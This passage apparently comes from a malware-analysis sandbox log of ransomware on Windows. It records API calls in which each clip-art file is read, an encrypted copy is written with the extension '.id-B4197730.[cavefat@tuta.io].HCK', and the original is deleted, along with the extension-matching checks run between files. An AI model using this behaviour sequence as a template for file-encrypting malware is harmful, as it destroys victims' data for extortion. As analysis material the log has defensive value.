Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0230.324] lstrlenW (lpString=".doc") returned 4 [0230.324] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.324] lstrlenW (lpString=".docx") returned 5 [0230.324] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.324] lstrlenW (lpString=".pdf") returned 4 [0230.324] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.324] lstrlenW (lpString=".xls") returned 4 [0230.324] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.324] lstrlenW (lpString=".xlsx") returned 5 [0230.325] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.325] lstrlenW (lpString=".ppt") returned 4 [0230.325] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0230.325] lstrlenW (lpString=".zip") returned 4 [0230.325] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.325] lstrlenW (lpString=".rar") returned 4 [0230.325] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.325] lstrlenW (lpString=".bz2") returned 4 [0230.325] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.325] lstrlenW (lpString=".7z") returned 3 [0230.325] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0230.325] lstrlenW (lpString=".dbf") returned 4 [0230.325] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0230.325] lstrlenW (lpString=".1cd") returned 4 [0230.325] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0230.325] lstrlenW (lpString=".jpg") returned 4 [0230.325] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.325] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0230.325] lstrlenW (lpString="PARNT_02.MID") returned 12 [0230.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0230.326] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=5714) returned 1 [0230.326] CloseHandle (hObject=0x54c) returned 1 [0230.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid")) returned 0x220 [0230.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0230.327] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.327] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0230.328] GetLastError () returned 0x0 [0230.328] ReadFile (in: hFile=0x54c, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x1652, lpOverlapped=0x0) returned 1 [0230.329] WriteFile (in: hFile=0x544, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1660, lpOverlapped=0x0) returned 1 [0230.329] ReadFile (in: hFile=0x54c, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.330] WriteFile (in: hFile=0x544, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.330] SetEndOfFile (hFile=0x544) returned 1 [0230.330] CloseHandle (hObject=0x544) returned 1 [0230.330] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.330] SetEndOfFile (hFile=0x54c) returned 1 [0230.341] CloseHandle (hObject=0x54c) returned 1 [0230.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.341] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid")) returned 1 [0230.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0230.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0230.342] lstrlenW (lpString=".doc") returned 4 [0230.342] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.342] lstrlenW (lpString=".docx") returned 5 [0230.342] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0230.342] lstrlenW (lpString=".pdf") returned 4 [0230.342] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.342] lstrlenW (lpString=".xls") returned 4 [0230.342] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.342] lstrlenW (lpString=".xlsx") returned 5 [0230.342] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0230.342] lstrlenW (lpString=".ppt") returned 4 [0230.342] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0230.342] lstrlenW (lpString=".zip") returned 4 [0230.342] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.342] lstrlenW (lpString=".rar") returned 4 [0230.342] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.342] lstrlenW (lpString=".bz2") returned 4 [0230.342] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.342] lstrlenW (lpString=".7z") returned 3 [0230.342] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0230.342] lstrlenW (lpString=".dbf") returned 4 [0230.343] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0230.343] lstrlenW (lpString=".1cd") returned 4 [0230.343] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0230.343] lstrlenW (lpString=".jpg") returned 4 [0230.343] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0230.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0230.343] lstrlenW (lpString=".doc") returned 4 [0230.343] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.343] lstrlenW (lpString=".docx") returned 5 [0230.343] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0230.343] lstrlenW (lpString=".pdf") returned 4 [0230.343] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.343] lstrlenW (lpString=".xls") returned 4 [0230.343] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.343] lstrlenW (lpString=".xlsx") returned 5 [0230.343] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0230.343] lstrlenW (lpString=".ppt") returned 4 [0230.343] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0230.343] lstrlenW (lpString=".zip") returned 4 [0230.343] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.343] lstrlenW (lpString=".rar") returned 4 [0230.343] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.343] lstrlenW (lpString=".bz2") returned 4 [0230.343] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.343] lstrlenW (lpString=".7z") returned 3 [0230.343] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0230.343] lstrlenW (lpString=".dbf") returned 4 [0230.343] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0230.343] lstrlenW (lpString=".1cd") returned 4 [0230.343] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0230.343] lstrlenW (lpString=".jpg") returned 4 [0230.343] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.343] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0230.343] lstrlenW (lpString="PARNT_03.MID") returned 12 [0230.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0230.344] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=8538) returned 1 [0230.344] CloseHandle (hObject=0x54c) returned 1 [0230.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid")) returned 0x220 [0230.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0230.345] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.345] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0230.345] GetLastError () returned 0x0 [0230.345] ReadFile (in: hFile=0x54c, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x215a, lpOverlapped=0x0) returned 1 [0230.347] WriteFile (in: hFile=0x544, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x2160, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2160, lpOverlapped=0x0) returned 1 [0230.347] ReadFile (in: hFile=0x54c, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.347] WriteFile (in: hFile=0x544, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.348] SetEndOfFile (hFile=0x544) returned 1 [0230.348] CloseHandle (hObject=0x544) returned 1 [0230.348] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.348] SetEndOfFile (hFile=0x54c) returned 1 [0230.523] CloseHandle (hObject=0x54c) returned 1 [0230.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.534] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid")) returned 1 [0230.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0230.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0230.543] lstrlenW (lpString=".doc") returned 4 [0230.543] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.543] lstrlenW (lpString=".docx") returned 5 [0230.543] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0230.552] lstrlenW (lpString=".pdf") returned 4 [0230.552] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.552] lstrlenW (lpString=".xls") returned 4 [0230.552] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.552] lstrlenW (lpString=".xlsx") returned 5 [0230.560] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0230.560] lstrlenW (lpString=".ppt") returned 4 [0230.560] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0230.560] lstrlenW (lpString=".zip") returned 4 [0230.560] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.560] lstrlenW (lpString=".rar") returned 4 [0230.560] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.560] lstrlenW (lpString=".bz2") returned 4 [0230.560] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.560] lstrlenW (lpString=".7z") returned 3 [0230.560] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0230.560] lstrlenW (lpString=".dbf") returned 4 [0230.560] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0230.560] lstrlenW (lpString=".1cd") returned 4 [0230.560] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0230.560] lstrlenW (lpString=".jpg") returned 4 [0230.560] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0230.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0230.560] lstrlenW (lpString=".doc") returned 4 [0230.560] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.560] lstrlenW (lpString=".docx") returned 5 [0230.560] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0230.560] lstrlenW (lpString=".pdf") returned 4 [0230.560] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.560] lstrlenW (lpString=".xls") returned 4 [0230.560] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.560] lstrlenW (lpString=".xlsx") returned 5 [0230.560] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0230.560] lstrlenW (lpString=".ppt") returned 4 [0230.560] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0230.560] lstrlenW (lpString=".zip") returned 4 [0230.560] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.560] lstrlenW (lpString=".rar") returned 4 [0230.560] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.560] lstrlenW (lpString=".bz2") returned 4 [0230.560] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.560] lstrlenW (lpString=".7z") returned 3 [0230.560] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0230.560] lstrlenW (lpString=".dbf") returned 4 [0230.560] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0230.561] lstrlenW (lpString=".1cd") returned 4 [0230.561] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0230.561] lstrlenW (lpString=".jpg") returned 4 [0230.561] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.561] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0230.561] lstrlenW (lpString="SAFRI_01.MID") returned 12 [0230.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0230.878] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=10122) returned 1 [0230.878] CloseHandle (hObject=0x534) returned 1 [0230.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid")) returned 0x220 [0230.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0230.879] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.879] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0230.879] GetLastError () returned 0x0 [0230.879] ReadFile (in: hFile=0x534, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x278a, lpOverlapped=0x0) returned 1 [0230.881] WriteFile (in: hFile=0x4c0, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2790, lpOverlapped=0x0) returned 1 [0230.881] ReadFile (in: hFile=0x534, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.881] WriteFile (in: hFile=0x4c0, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.882] SetEndOfFile (hFile=0x4c0) returned 1 [0230.882] CloseHandle (hObject=0x4c0) returned 1 [0230.882] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.882] SetEndOfFile (hFile=0x534) returned 1 [0230.884] CloseHandle (hObject=0x534) returned 1 [0230.884] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.885] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid")) returned 1 [0230.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0230.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0230.885] lstrlenW (lpString=".doc") returned 4 [0230.885] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.885] lstrlenW (lpString=".docx") returned 5 [0230.885] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.885] lstrlenW (lpString=".pdf") returned 4 [0230.885] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.885] lstrlenW (lpString=".xls") returned 4 [0230.885] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.885] lstrlenW (lpString=".xlsx") returned 5 [0230.885] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.885] lstrlenW (lpString=".ppt") returned 4 [0230.885] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0230.885] lstrlenW (lpString=".zip") returned 4 [0230.885] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.886] lstrlenW (lpString=".rar") returned 4 [0230.886] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.886] lstrlenW (lpString=".bz2") returned 4 [0230.886] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.886] lstrlenW (lpString=".7z") returned 3 [0230.886] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0230.886] lstrlenW (lpString=".dbf") returned 4 [0230.886] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0230.886] lstrlenW (lpString=".1cd") returned 4 [0230.886] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0230.886] lstrlenW (lpString=".jpg") returned 4 [0230.886] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0230.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0230.886] lstrlenW (lpString=".doc") returned 4 [0230.886] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.886] lstrlenW (lpString=".docx") returned 5 [0230.886] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.886] lstrlenW (lpString=".pdf") returned 4 [0230.886] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.886] lstrlenW (lpString=".xls") returned 4 [0230.886] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 